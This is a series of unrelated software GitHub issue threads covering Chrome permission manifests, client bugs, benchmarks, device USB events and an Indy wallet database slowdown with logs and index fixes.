			<key>pfm_documentation_url</key>
			<string>https://developer.chrome.com/extensions/declare_permissions</string>
			<key>pfm_range_list</key>
			<array>
				<string>activeTab</string>
				<string>alarms</string>
				<string>background</string>
				<string>bookmarks</string>
				<string>browsingData</string>
				<string>certificateProvider</string>
				<string>clipboardRead</string>
				<string>clipboardWrite</string>
				<string>contentSettings</string>
				<string>contextMenus</string>
				<string>cookies</string>
				<string>debugger</string>
				<string>declarativeContent</string>
				<string>declarativeNetRequest</string>
				<string>declarativeWebRequest</string>
				<string>desktopCapture</string>
				<string>displaySource</string>
				<string>dns</string>
				<string>documentScan</string>
				<string>downloads</string>
				<string>enterprise.deviceAttributes</string>
				<string>enterprise.hardwarePlatform</string>
				<string>enterprise.platformKeys</string>
				<string>experimental</string>
				<string>fileBrowserHandler</string>
				<string>fileSystemProvider</string>
				<string>fontSettings</string>
				<string>gcm</string>
				<string>geolocation</string>
				<string>history</string>
				<string>identity</string>
				<string>idle</string>
				<string>idltest</string>
				<string>management</string>
				<string>nativeMessaging</string>
				<string>networking.config</string>
				<string>notifications</string>
				<string>pageCapture</string>
				<string>platformKeys</string>
				<string>power</string>
				<string>printerProvider</string>
				<string>privacy</string>
				<string>processes</string>
				<string>proxy</string>
				<string>sessions</string>
				<string>signedInDevices</string>
				<string>storage</string>
				<string>system.cpu</string>
				<string>system.display</string>
				<string>system.memory</string>
				<string>system.storage</string>
				<string>tabCapture</string>
				<string>tabs</string>
				<string>topSites</string>
				<string>tts</string>
				<string>ttsEngine</string>
				<string>unlimitedStorage</string>
				<string>vpnProvider</string>
				<string>wallpaper</string>
				<string>webNavigation</string>
				<string>webRequest</string>
				<string>webRequestBlocking</string>
			</array>
			<key>pfm_type</key>
			<string>string</string>
		</dict>
	</array>
	<key>pfm_type</key>
	<string>array</string>
</dict>

This last thing is because the ui items inside that is probably not added. So I should add it in.

The other popupbutton issue I have found and solved now.

Confirmed this is working.  Only challenge is selecting the item, rather than the dropdown menu, to remove it.
Chrome_popup_dropdown_menu_UI_exp.zip

Fixed in 0.2.5 release


Handle USA profiles

Download profiles from blob storage

Profiles are located in the profiles container in our bescienceswebsite storage account.
For example, the demand profile is located here. I'll probably add a metadata file listing the versions to enable the same functionality in the code without depending on the official azure sdk (don't need all the features, we can just use requests.get).


Minor glitches

I've noticed a couple minor glitches we should look after after the first beta release:

[ ] JsonClient adds an extra "&" after query string parameters, like:
https://headend.neoncloud.io/cluster-setup/image/node?api-version=2023-04-06&hostingEnvironment=hyperv&version=0.10.0-beta.0&architecture=amd64&

JEFF UPDATE: I couldn't see where this is happening in the JsonClient code.  Not a big deal.

[x] JsonClient error exceptions reverse the method and URI values, like (I thought I already fixed this):
[Neon.Net.HttpException]: HTTP ERROR:status=[400] method=https://headend.neoncloud.io/cluster-setup/image/node?api-version=2023-04-06&hostingEnvironment=hyperv&version=0.10.0-beta.0&architecture=amd64& uri=GET reason=[Bad Request]

FIXED: the Neon.Net.HttpException message


Configuration builder forces dependency on Minidev

In the configuration builder, it always calls getEffectiveDefaults, even when it is unnecessary. If you have not set the defaults, but have set both jsonProvider and mappingProvider, the call to getEffectiveDefaults is unnecessary, and only serves to introduce a dependency.
This is a problem when you are another library. You do not want to override the defaults, because the users of your library might be depending on those defaults. However, you have your own providers set, such that the defaults will not be used, ensuring safe operation.

A fix could be:
public Configuration build() {
    if (null == jsonProvider || null == mappingProvider) {
        Defaults defaults = getEffectiveDefaults();
        if (jsonProvider == null) {
            jsonProvider = defaults.jsonProvider();
        }
        if (mappingProvider == null) {
            mappingProvider = defaults.mappingProvider();
        }
    }
    return new Configuration(jsonProvider, mappingProvider, options, evaluationListener);
}

Related issue: https://code.google.com/p/json-path/issues/detail?id=68

Fixed in #128


Clarify the constants relating to long wires

Signed-off-by: YRabbit<EMAIL_ADDRESS>

While awaiting the fate of PR about long wires for nextpnr :)

Nice!


Elevation. Revisited.

Breaking change
It isn't 😄
Our elevation system has never worked as expected on Android devices. We always needed to add elevation and box-shadow to the component and try to figure out how shadow it would generate on iOS and Android as well.
This PR changes our tokens, adding the specifics for each platform.
Web

Before
After

Android

iOS

It is important to say that those changes on our system will be reflected in our Box component, making it possible to use the same code to add our shadows to a component:

Code
Web
Android
iOS

Good point, @tcK1
For the first, your suggestion wouldn't work because our system matches each prop to its respective prop on theme. For example:
This works because we have a color, on our theme, matching feedback.success.dark

<>
  <Box color="feedback.success.light" />
  <Box bgColor="feedback.success.dark" />
</>

theme: {
  yoga: {
    colors: {
      success: {
        light: "#C1EEDB"
        dark: "#1D856C"
      }
    },
  }
}

So, with this in mind, we don't match the entire theme to the prop itself. Just the respective ones. And this is why your code wouldn't work:

// Using the card element as an example
<Box elevation="components.card.elevation" {...props} />

theme: {
  yoga: {
    elevations: {
      0: "none"
      1: "0 2px 6px rgba(152, 152, 166, 0.25)",
      2: "0 4px 12px rgba(152, 152, 166, 0.25)",
      3: "0 8px 20px rgba(152, 152, 166, 0.25)",
      zero: "none",
      small: "0 2px 6px rgba(152, 152, 166, 0.25)",
      medium: "0 4px 12px rgba(152, 152, 166, 0.25)",
      large: "0 8px 20px rgba(152, 152, 166, 0.25)",
    }
  }
}

You are trying to match the elevation prop to the components but our system will try to resolve it as an elevation and it would not find the respective.

Secondly, it seems like we are passing props directly to the View component in some cases. I've marked a single occurrence as an example, but there are many on this PR. We should find where we are doing it and fix it.

For this second point, I think it is a styled-components issue that has been solved (?) in v5 with shouldforwardprop and it could be revisited when we bump SC version. Is it good for you, @tcK1 ?

Is it good for you, @tcK1 ?

Okay!


Indexing into returned arrays from graph methods only works with internal vertex values

Say we have a graph, G with vertex names {2,6,7} the internal values would be represented with {0,1,2}. When we run BFS on G the returned depth array, D, is based off values {0,1,2}. How can we let the user index into D based off the original values instead of the internal values?

Yes, but the issue is doing this in a way that remains natural for the user. We can return two arrays instead of one to hold the original vertex values but that would require the user to do an indexing that looks like depth[vertex_map[u]] where u is the original vertex name.
I am thinking something more along the lines of a class that inherits from pdarray called apdarray (associative pdarray) that behaves like a pdarray but performs the internal indexing as depth[vertex_map[u]] and overrides indexing so that the user can just do depth[u]instead of having to remember to always call the vertex_map.

Yes, the apdarray will be easy and natural for users. I am thinking if we need to include such a mapping mechanism into our graph data structure.

I think the best solution to this would be that for any kernel that returns some type of value specified for each node or edge we should return a tuple (nodes, values) or (edges, values) respectively. This will mean we don't have to generate a new class for arrays returned by Arachne and it falls in line with some Arkouda methods that return tuples in a similar manner. @mostroski @zhihuidu Thoughts on this? Small example of how it would work:
import arachne as ar

src = ak.array([0,1,2,3,4,5,6,7,8])
dst = ak.array([1,2,3,4,5,6,7,8,9])
graph = ar.Graph()
graph.add_edges_from(src,dst)

(nodes, layers) = ar.bfs_layers(graph)
print(f"Node {nodes[1]} has layer {layer[1]}")

If I'm not wrong, those arrays could then be easily transferred to other Arkouda functions that performs groupings on layers or some type of indexing that can also be used on nodes.

The user will be expected to know that if an array of size m or n is returned, then those values will refer to the sorted lists of graph.edges() and graph.nodes().


crash: minecraft unable to start

using mup 1.3.8
https://paste.dimdev.org/enururekuv.css
better log: https://paste.dimdev.org/afeyehosol.sql
Update: looks like it's not malisis core as removing it had no effect

If you disable fix 'mc80032' in MUP it should run assuming there is no other intergering fix, other mod must be trying to change same code.

ok thanks for the tip

well disabling that did not seem to work

ok turns out there were 2 conflicting patches: 80032 and 98153


Problems with nodogsplash raspberry pi

Environment
raspberry pi
raspberry pi 1 with Stretch
What did you do?
First, i was able to set the raspberry as a wireless access point
Then I was trying to make a captive portal with my old raspberry pi, and I followed these 2 tutorials for it, step by step (I do not know too much about python, or raspberry, but this project seemed interesting)
https://pimylifeup.com/raspberry-pi-captive-portal/
https://pimylifeup.com/raspberry-pi-wireless-access-point/
so i ran the command sudo nodogsplash as the step said
What did you expect to see?
It was supposed to work everything just fine, then if I connected to the wifi from another device, a page was supposed to pop up
What did you see instead?
iptables: No chain/target/match by that name
And I am no longer able to connect to the wifi I just set

I think you may have filed this issue against the wrong project; this is rkt, not nodogsplash.
It looks like they have a repo (https://github.com/nodogsplash/nodogsplash) which has links to documentation and a mailing list that might help.


Proposal: Lock API Quickstart

Describe the proposal
A quickstart for Locks API that use the Redis lock component to lock a row in a MySQL database that 2 applications are accessing in, when they are both receiving messages from a queue or pub/sub messages in a competing consumer pattern. This can build on the pub/sub or binding Quickstarts.

@msfussell would you be willing to build it?

I agree with proposal. We don't have horsepower to find it tho for now. Higher on my list is to fund kubernetes support.
Do you have cycles ?

Will have someone work on for GHC


i want to add circular queue implementation using array

Detailed description
it is extended version of circular queue that we use generally
Context
it is important to know it because it can help you to utilize the space of array
Possible implementation
No response
Additional information
No response

hello Sir, can u assign this issue to me?

i am already done this code please assign me this task

I want to add code ,could you assign me this task

please assign it to me

Can i contribute to this program

i am already done this code please assign me this task

Hello sir, can u assign me this issue. I would love to grab this opportunity.

Hello, I would like to contribute to this program, can you assign this to me?

Hello, can I be assigned for this. It would help me a lot as my first on github and I'm already done with the code.


RPM spec file support

Currently colors (esp. the blue) for RPM spec files look off and are hard to read (see below). I guess this mode is not use that much, maybe when I have some free time I could look into fixing this myself.

I'm assuming you're using rpm-spec-mode. For my reference, I'll post their faces here:
rpm-spec-macro-face
rpm-spec-var-face
rpm-spec-tag-face
rpm-spec-obsolete-tag-face
rpm-spec-package-face
rpm-spec-dir-face
rpm-spec-doc-face
rpm-spec-ghost-face
rpm-spec-section-face

And done. Let me know if it gives you any trouble!

Thanks a lot, much appreciated!


0x00 values only, while reading EEPROM memory

Hello,
I have recently started to write a CHIRP module: https://git.okoyono.de/klaute/uvk5-cec-chirp-driver
I read through your code to figure out the EEPROM structure.
At first I tried to read the EEPROM back to my computer using the k5prog_win.exe to verify my CHIRP structure.
But the problem is that I receive only 0x00 values for the whole EEPROM content.
Next I have modified the CHIRP module to write down the read EEPROM content to a file, which also gives 0x00 values only.
For now I don't have a solution.
Currently I'm investigate to understood what happens in the firmware, what leads to that behaviour.
If you have any suggestions please feel free to contact me.
Thank you!

I think (but CEC is the man) it's firmware that sends eeprom data to PC and writes data from PC into EEPROM. So if actual firmware does not provide that function you can't access EEPROM at all. Try change FW and read out should succeeed. So should writing. Anyway R/W data on EEPROM via CHIRP module is a priority (IMHO).


Update ByteBuffer collections

Updated to Roaring 0.5.1 and run benchmarks.
Microbenchmark results -
https://gist.github.com/nishantmonu51/d0c45b4742141d8b7b50
the benchmarks compare 3 modes - concise, roaring and roaring_compress which is roaring compressed with run length encoding.
The time of interest is the time.bench result, and lower is better.

For random setting of bits, both roaring and roaring_compress is MUCH faster than Concise.
For linear adding of bits, starting at 0 and going up, Roaring compressed is the fastest (~18% faster than concise)
For linear adding of bits, starting at the max and going to bit 0, Roaring compressed is fastest (~25% faster than concise)
For serialization to byte arrays, roaring compressed is 2.5x SLOWER and roaring is 2.8x SLOWER than concise
For deserialization from byte arrays, roaring compressed 6% slower than concise and roaring is 9% faster than concise.

For full integration results, a 1G subsample of the TPC-H data (as was used in druid's prior benchmarks) was used - ( benchmark results here - https://gist.github.com/nishantmonu51/30458c5c4f3f857bfdb4)

Index Time - Almost equal (Insufficient data to show which one is better)
Concise - 20 min 5 sec
Roaring - 20 min 47 sec
Roaring Compressed - 20 min 37 sec
Index Size (size of smoosh file)- 17% INCREASE in size when using Roaring
Concise - 494M
Roaring - 579M
Roaring compressed - TODO
Query Performance -

Simple TopN and Timeseries remains unaffected
TopN with regex filters shows significant improvement (~40%) with roaring as compared to concise
TODO -  compare with roaring compressed.

@drcrallen @lemire @xvrl , I ran the benchmarks with TPCH tests with the latest code, but din't saw any improvements in size. Do we need to do any more changes other than upgrading the dependencies in druid ?

there are few issues with this PR.
closing, until fixed.

@nishantmonu51
Serialization speed is probably affected by API choices. Roaring itself serializes to a DataOutput, but we then have to convert this serialization to an in-memory byte array. By allowing bitmap serialization directly to an output stream, we would gain speed (a bit) and reduce memory usage.


[5.10] Add optionalMemberOf symbol under the correct container symbol (#760)

Cherrypick of #760
Explanation: Fix a bug where optionalMemberOf relationships weren't considered when building the path hierarchy, resulting in incorrect behavior if more than one symbol existed with the container's name.
Scope: Incorrect behavior. Sometimes crashes.
Issue: rdar://119183922
Risk: Low.
Testing: Added test, ran the existing tests, and manually tested with the project where this was originally found.
Reviewer: @franklinsch

@swift-ci please test


[question] Why is the scheduler dependency required?

I was wondering if there was a way to remove it from the peer dependencies. Thanks.

Because it is used in the code:
https://github.com/dai-shi/use-context-selector/blob/bd4eb7492f0c2cfe9a1050ce924cf46c2f1b1150/src/index.ts#L19
You might be interested in reading the discussion in #100.

I've read the code, but I don't understand why wrapping the listener callbacks with runWithNormalPriority is required. If you could point me to resources to understand the issue better I'd be super happy to understand more about this.

If you need to dive into it, you want to follow resources linked in https://github.com/dai-shi/will-this-react-global-state-work-in-concurrent-rendering.
Some links might be outdated.
In reality, if you don't care much about the subtle behavior, you could implement much simpler version of useContextSelector.

you could implement much simpler version

Yeah I figured, I have a very minimal implementation here: https://gist.github.com/romgrk/a3dc5d3de5c011e0925b2f2aee14ee98 (if you have any comments, I'd be interested to hear)

if you don't care much about the subtle behavior

Actually I do care about correctness, if you have any comments to make on the issues that could arise from not having the scheduler wrapper I'd be happy to hear. Otherwise, feel free to close this issue, and thanks for the replies.

One small note is that useEffect can technically be fired with a big delay, so the store state can be changed before you subscribe to the store.
Other than that, it should be "level 1".
It will probably fail with level 2 and 3.
To be level 2, you can just use useSyncExternalStore.
To be level 3, it's basically impossible, and my hack is to use scheduler and some others.
See https://github.com/reactwg/react-18/discussions/70 for levels.


"Filipeni" commune is listed in the drop-down menu

Description:
The commune is listed in the drop-down menu according to the law
Preconditions :the website (https://peviitor-ro.github.io/ui.orase/) is up and runing.
After every step delete the text you typed from the search bar.

Step 1
Type "Filipeni" in the search bar.
Expected results
The location is listed in the drop-down menu as "Filipeni, Bacău"


Figure 1 first pass

Not the way we are going to want to make this, but it starts us off w/ an svg that looks like this:


For API v4, change (un)block_user from PUT to POST

The requests to block and unblock users have been changed from PUT to POST.
See: https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/9371
(Related to #235)

Thanks for the report!


Licence Adding

Hey @hzheng40!
Sorry to bother you again, but could you also add the MIT Licence to this repo as well? :)
Thanks a lot!!

Jeez sorry I acted prematurely based on the deprecated sim... Sorry for that 😅


Logitech Spotlight do not send next and back hold events

The device by default do not seem to send any event on either of Next or Back hold event.
I guess on windows official software do some kind of initialization of device and then the device starts to send such events.
However, I am not able to find the required usb packets.

Hi Mayank, well the device does send key events. Like I mentioned before, if you use the USB Receiver on a Linux device level it is actually detected as 2 devices. One Mouse, one keyboard. And currently Projecteur just ignores devices without Relative Mouse events...
Refactoring device handling, will be part of 0.8 development, so proper key mapping can be done.

Hi Jahn,
Just a clarification. Are you talking about 'hold' events? There are two events from each of Next and Back button. One for tap and other for hold.
I tried hidapi-testgui, but did not get any input from device for hold events.

Ah yeah, sorry for that, misread your text. So I guess even on Windows there is no special "hold" event - but rather the software just detects if a button was pressed for a long enough time.
So also Projecteur will need to implement it by itself. But as long as we can get a Button Press and Button Release it is possible.

But as long as we can get a Button Press and Button Release it is possible.

We are not getting the same on Linux. That's why, I guess that official software send some usb packets to device so that device start to communicate those events.

Ah alright, how did you check these events on Windows? Wireshark?

Yes. By two different methods:

Wireshark on Linux monitoring the communication between Windows (in VM) and device
By using SnoopyPro in Windows: The log for communication when I select action ('Start Presentation') on Next hold setting in official software is attached.

I see a lot of repeated messages after 136 usb package (number of package sent before me making any selection). Most of these messages are 20 byte long.
USBLog20.zip

I guess the Logitech Software does a lot settings (like the vibration triggering and more) via USB, and also a lot of checking the device status regularly and whatnot...
With that in mind, of course you will not get the same (USB traffic) on Linux since there it is only registered as a HID device, that uses the kernel hid drivers. I might be wrong but I don't think that the device will actually send a long press event on Windows either, but that is just realized with the Logitech Software/Driver on Windows.
Or did you record a special long press event with Wireshark?

Or did you record a special long press event with Wireshark after executing a long press on the device?

It is not only a pair of Button Press and Button Release event. I have seen a lot of traffic emanating from device when keys (Next or Back) are long pressed, provided they are already configured by the official software.
The device should send not only send Button Press and Button Release event but also other data like mouse movement etc., which might be useful for scroll operation (an option under long press button mapping in official software).

Yes okay, then only (tedious) reverse engineering will help if the same features as in the Logitech Software are needed.
Before I found out the vibration message myself, I asked the Logitech support via email for help on it - Never got an answer - I guess they are not too eager to share that information :grinning:


Fix usage of stream_set_timeout in case of microseconds

Please submit to https://github.com/symfony/symfony/


The application can get into a state where it is not able to receive credentials

Found in ICOB test environment.  Replicated in dev and test.
While posting credentials for a data load, after loading a few hundred thousand credentials, when you search for and attempt to verify a credential for a corp, it appears the agents and/or api/controller encounter some sort of error (possibly a timeout) in which they get into a bad state. This causes the verification to eventually fail (Gateway Timeout), and all (well the vast majority) of the credential postings to fail afterward too. The only way to recover is to recycle all the agents.
Recycling nothing other than the ICOB agents resolves the issue, even though the API instances are also reporting errors and the ICOB "search" database seems to be involved.
A sample of the problem reports received by the ICIA agents:
Callback: topic= problem_report , message= {'@type': 'did:sov:BzCbsNYhMrjHiqZDTUASHg;spec/notification/1.0/problem-report', '@id': 'fc672eed-ff93-4bae-a1e2-faf84c212c8c', '~thread': {'thid': 'a6adfaf0-0ad7-446e-8545-424279b47bf3'}, 'explain-ltxt': "('Connection aborted.', RemoteDisconnected('Remote end closed connection without response',))"}

Callback: topic= problem_report , message= {'@type': 'did:sov:BzCbsNYhMrjHiqZDTUASHg;spec/notification/1.0/problem-report', '@id': '8b9d0314-4308-4aa5-bc51-05e42e9e604f', '~thread': {'thid': 'db8c0514-04a3-413e-9c8e-2d581485c18b'}, 'explain-ltxt': 'could not connect to server: Connection timed out\n\tIs the server running on host "<IP_ADDRESS>" and accepting\n\tTCP/IP connections on port 5432?\n'}

The affected database <IP_ADDRESS> is db-indy-cat (the ICOB "search" database).
Callback: topic= problem_report , message= {'@type': 'did:sov:BzCbsNYhMrjHiqZDTUASHg;spec/notification/1.0/problem-report', '@id': 'b42def54-65a2-4a7e-8da6-350bbcb07276', '~thread': {'thid': '01bb18c6-9ec4-4149-96eb-fbf6b1f8f367'}, 'explain-ltxt': 'FATAL:  remaining connection slots are reserved for non-replication superuser connections\n'}

A sample of the errors reported by the ICOB API (controller) instances:
ERROR 2020-01-10 19:48:05,580 log 1<PHONE_NUMBER>78528 Internal Server Error: /api/credential/795827/verify
Traceback (most recent call last):
  File "/home/indy/.pyenv/versions/3.6.8/lib/python3.6/site-packages/urllib3/connectionpool.py", line 672, in urlopen
    chunked=chunked,
  File "/home/indy/.pyenv/versions/3.6.8/lib/python3.6/site-packages/urllib3/connectionpool.py", line 421, in _make_request
    six.raise_from(e, None)
  File "<string>", line 3, in raise_from
  File "/home/indy/.pyenv/versions/3.6.8/lib/python3.6/site-packages/urllib3/connectionpool.py", line 416, in _make_request
    httplib_response = conn.getresponse()
  File "/home/indy/.pyenv/versions/3.6.8/lib/python3.6/http/client.py", line 1331, in getresponse
    response.begin()
  File "/home/indy/.pyenv/versions/3.6.8/lib/python3.6/http/client.py", line 297, in begin
    version, status, reason = self._read_status()
  File "/home/indy/.pyenv/versions/3.6.8/lib/python3.6/http/client.py", line 266, in _read_status
    raise RemoteDisconnected("Remote end closed connection without"
http.client.RemoteDisconnected: Remote end closed connection without response

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/home/indy/.pyenv/versions/3.6.8/lib/python3.6/site-packages/requests/adapters.py", line 449, in send
    timeout=timeout
  File "/home/indy/.pyenv/versions/3.6.8/lib/python3.6/site-packages/urllib3/connectionpool.py", line 720, in urlopen
    method, url, error=e, _pool=self, _stacktrace=sys.exc_info()[2]
  File "/home/indy/.pyenv/versions/3.6.8/lib/python3.6/site-packages/urllib3/util/retry.py", line 400, in increment
    raise six.reraise(type(error), error, _stacktrace)
  File "/home/indy/.pyenv/versions/3.6.8/lib/python3.6/site-packages/urllib3/packages/six.py", line 734, in reraise
    raise value.with_traceback(tb)
  File "/home/indy/.pyenv/versions/3.6.8/lib/python3.6/site-packages/urllib3/connectionpool.py", line 672, in urlopen
    chunked=chunked,
  File "/home/indy/.pyenv/versions/3.6.8/lib/python3.6/site-packages/urllib3/connectionpool.py", line 421, in _make_request
    six.raise_from(e, None)
  File "<string>", line 3, in raise_from
  File "/home/indy/.pyenv/versions/3.6.8/lib/python3.6/site-packages/urllib3/connectionpool.py", line 416, in _make_request
    httplib_response = conn.getresponse()
  File "/home/indy/.pyenv/versions/3.6.8/lib/python3.6/http/client.py", line 1331, in getresponse
    response.begin()
  File "/home/indy/.pyenv/versions/3.6.8/lib/python3.6/http/client.py", line 297, in begin
    version, status, reason = self._read_status()
  File "/home/indy/.pyenv/versions/3.6.8/lib/python3.6/http/client.py", line 266, in _read_status
    raise RemoteDisconnected("Remote end closed connection without"
urllib3.exceptions.ProtocolError: ('Connection aborted.', RemoteDisconnected('Remote end closed connection without response',))

requests.exceptions.ConnectionError: HTTPConnectionPool(host='agent-indy-cat', port=8024): Max retries exceeded with url: /credential_exchange/6a22db5b-84b5-4195-915f-730f6ce6dde0/problem_report (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7f6280473128>: Failed to establish a new connection: [Errno 110] Connection timed out',))

Under normal data load conditions the number of connections the ICOB api (controller) instances have open on the database is around 100 plus or minus;
==============================================================
Database connection details for db-indy-cat:
--------------------------------------------------------------
 max_conn | used | res_for_super | res_for_normal
----------+------+---------------+----------------
      200 |  113 |             3 |             84

When the application gets into the reported state the number of connections slowly but steadily grow to the point where the maximum number of connections is exceeded.  This is not immediate and takes several minutes;
==============================================================
Database connection details for db-indy-cat:
--------------------------------------------------------------
 max_conn | used | res_for_super | res_for_normal
----------+------+---------------+----------------
      200 |  203 |             3 |             -6

On the surface, at least, this appears to be more of a symptom rather than a cause.

Simply recycling all of the ICOB agent instances (and only the ICOB agent instances), even while the credential issuer is still posting credentials at full speed, resolves the issue and ICOB starts receiving credentials successfully again.

The initial request to verify a credential seems to trigger state.
If there are no credentials being posted, and an attempt is made to verify a credential using the ICOB UI, and the verification fails (times out), any subsequent credential posting operations will fail.  ICOB appears to be receiving the credentials but it does not appear to respond to the issuer.

Here is the interaction between a single instance of the api (controller) and agent during a credential verification request:
API:

DEBUG 2020-01-10 21:36:19,245 routing 1<PHONE_NUMBER>04352 Processing request headers to detect requested API version.
--
  | DEBUG 2020-01-10 21:36:19,245 routing 1<PHONE_NUMBER>04352 Processing URL to detect requested API version.
  | DEBUG 2020-01-10 21:36:19,245 routing 1<PHONE_NUMBER>04352 No version override detected, will be using 'default
  | DEBUG 2020-01-10 21:36:19,245 routing 1<PHONE_NUMBER>04352 Resolved API url is /api/v2/credential/1609524/formatted
  | INFO 2020-01-10 21:36:19,552 helpers 1<PHONE_NUMBER>05152 <IP_ADDRESS> [10/Jan/2020:21:36:19 +0000] "GET /api/credential/1609524/formatted HTTP/1.0" 200 8437 "https://orgbook-test.pathfinder.gov.bc.ca/en/organization/registration.registries.caFM0225294/cred/1609524/verify " "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36"
  | DEBUG 2020-01-10 21:36:19,696 routing 1<PHONE_NUMBER>75360 Processing request headers to detect requested API version.
  | DEBUG 2020-01-10 21:36:19,696 routing 1<PHONE_NUMBER>75360 Processing URL to detect requested API version.
  | DEBUG 2020-01-10 21:36:19,696 routing 1<PHONE_NUMBER>75360 No version override detected, will be using 'default
  | DEBUG 2020-01-10 21:36:19,696 routing 1<PHONE_NUMBER>75360 Resolved API url is /api/v2/credential/1609524/verify
  | DEBUG 2020-01-10 21:36:19,751 connectionpool 1<PHONE_NUMBER>75360 Starting new HTTP connection (1): agent-indy-cat:8024

Agent:
2020-01-10 21:36:19,758 indy.non_secrets DEBUG open_wallet_search: >>> wallet_handle: 2, type_: 'connection', query_json: '{}', options_json: '{"retrieveRecords": true, "retrieveTotalCount": false, "retrieveType": false, "retrieveValue": true, "retrieveTags": false}'
--
  | 2020-01-10 21:36:19,759 indy.libindy DEBUG do_call: >>> name: indy_open_wallet_search, args: (c_int(2), c_char_p(140536837584032), c_char_p(140536132206832), c_char_p(140536133785712), <CFunctionType object at 0x7fd11e58ea70>)
  | 2020-01-10 21:36:19,759 indy.libindy DEBUG do_call: Function indy_open_wallet_search returned err: 0
  | 2020-01-10 21:36:19,759 indy.libindy DEBUG do_call: <<< <Future pending>

Here is the same interaction in dev where the verification request completes successfully.  dev and test are running the same version of code and are using the same configurations (with appropriate settings for each environment).
API:
2020-01-10 22:12:36,378 indy.non_secrets DEBUG open_wallet_search: >>> wallet_handle: 2, type_: 'connection', query_json: '{}', options_json: '{"retrieveRecords": true, "retrieveTotalCount": false, "retrieveType": false, "retrieveValue": true, "retrieveTags": false}'
2020-01-10 22:12:36,378 indy.libindy DEBUG do_call: >>> name: indy_open_wallet_search, args: (c_int(2), c_char_p(139903594278064), c_char_p(139902853942840), c_char_p(139902854978128), <CFunctionType object at 0x7f3dabfd1a70>)
2020-01-10 22:12:36,378 indy.libindy DEBUG do_call: Function indy_open_wallet_search returned err: 0
2020-01-10 22:12:36,378 indy.libindy.native.indy.commands DEBUG 	src/commands/mod.rs:158 | NonSecretCommand command received
2020-01-10 22:12:36,379 indy.libindy DEBUG do_call: <<< <Future pending>
2020-01-10 22:12:36,379 indy.libindy.native.non_secrets_command_executor DEBUG 	src/commands/non_secrets.rs:105 | OpenSearch command received
2020-01-10 22:12:36,399 indy.libindy.native.postgres DEBUG 	/home/indy/.cargo/registry/src/github.com-1ecc6299db9ec823/postgres-0.15.2/src/lib.rs:901 | executing query:
2020-01-10 22:12:36,412 indy.libindy.native.postgres DEBUG 	/home/indy/.cargo/registry/src/github.com-1ecc6299db9ec823/postgres-0.15.2/src/lib.rs:901 | executing query:
2020-01-10 22:12:36,412 indy.libindy.native.postgres DEBUG 	/home/indy/.cargo/registry/src/github.com-1ecc6299db9ec823/postgres-0.15.2/src/lib.rs:489 | preparing query with name `s0`: SELECT i.id, i.name, i.value, i.key, i.type FROM items as i WHERE i.type = $1
2020-01-10 22:12:36,414 indy.libindy.native.postgres DEBUG 	/home/indy/.cargo/registry/src/github.com-1ecc6299db9ec823/postgres-0.15.2/src/lib.rs:608 | executing statement s0 with parameters: [[67, 120, 121, 103, 80, 65, 78, 65, 119, 43, 112, 56, 67, 49, 100, 84, 109, 48, 84, 66, 77, 50, 85, 111, 75, 55, 97, 70, 53, 54, 116, 119, 55, 104, 110, 53, 78, 65, 119, 50, 57, 82, 81, 77, 99, 70, 115, 72, 85, 88, 119, 61]]
2020-01-10 22:12:36,419 indy.libindy DEBUG _indy_callback: >>> command_handle: 101, err , args: (26,)
2020-01-10 22:12:36,419 indy.libindy DEBUG _indy_callback: <<<
2020-01-10 22:12:36,419 indy.libindy DEBUG _indy_loop_callback: >>> command_handle: 101, err , args: (26,)
2020-01-10 22:12:36,419 indy.libindy DEBUG _indy_loop_callback: Function returned 26
2020-01-10 22:12:36,419 indy.libindy DEBUG _indy_loop_callback <<<
2020-01-10 22:12:36,419 indy.non_secrets DEBUG open_wallet_search: <<< res: 26
...

FullAgentLog.txt

Verified the dev and test environments are running the same images.  Reset the test environments.  Reissued a few credentials.  Tested credential verification on a handful of corps; all successfully.  Going to let the credential posting process run for a while an test again later.

Renamed, since testing indicated the issue had nothing to do with load.

This issue is now occurring in dev after posting 337,164 credentials.

After resetting and loading 550,377 credentials into the test environment it is now having the same issue.

The issue appears to be related to the number of credentials in the wallet, the issue surfaces if there are more than a few hundred thousand credentials.

I suspect it's related to query performance.  The indy-sdk/wallet generates a very complicated query in response to the TOB proof request, for example:
SELECT i.id, i.name, i.value, i.key, i.type
FROM items as i
WHERE i.type = $1
  AND ((i.id in (SELECT item_id FROM tags_encrypted WHERE name = $2 AND value = $3))
        AND (i.id in (SELECT item_id FROM tags_encrypted WHERE name = $4 AND value = $5))
        AND (i.id in (SELECT item_id FROM tags_encrypted WHERE name = $6 AND value = $7))
        AND (i.id in (SELECT item_id FROM tags_encrypted WHERE name = $8 AND value = $9))
        AND (i.id in (SELECT item_id FROM tags_encrypted WHERE name = $10 AND value = $11))
        AND (i.id in (SELECT item_id FROM tags_encrypted WHERE name = $12 AND value = $13))
        AND (i.id in (SELECT item_id FROM tags_encrypted WHERE name = $14 AND value = $15))
        AND (i.id in (SELECT item_id FROM tags_encrypted WHERE name = $16 AND value = $17))
        AND (i.id in (SELECT item_id FROM tags_encrypted WHERE name = $18 AND value = $19))
        AND (i.id in (SELECT item_id FROM tags_encrypted WHERE name = $20 AND value = $21))
        AND (i.id in (SELECT item_id FROM tags_encrypted WHERE name = $22 AND value = $23))
        AND (i.id in (SELECT item_id FROM tags_encrypted WHERE name = $24 AND value = $25))
        AND (i.id in (SELECT item_id FROM tags_encrypted WHERE name = $26 AND value = $27))
        AND (i.id in (SELECT item_id FROM tags_encrypted WHERE name = $28 AND value = $29))
        AND (i.id in (SELECT item_id FROM tags_encrypted WHERE name = $30 AND value = $31))
        AND (i.id in (SELECT item_id FROM tags_encrypted WHERE name = $32 AND value = $33))
        AND (((i.id in (SELECT item_id FROM tags_encrypted WHERE name = $34 AND value = $35))
               AND (i.id in (SELECT item_id FROM tags_encrypted WHERE name = $36 AND value = $37)))
            )
        )

(There is a sub-clause for each claim in the credential)

I found updating the wallet indexes improved the query on my local:
drop index ix_tags_encrypted_name;
drop index ix_tags_encrypted_value;
CREATE INDEX ix_tags_encrypted_name_value ON public.tags_encrypted USING btree (name, value);

Which makes sense based on the proof request we're doing.  I'm guessing our
proof includes the restriction that all claims in the credential match a
specific value.
Didn't we agree that we only need to check the cardinality values and get
the latest of those values?
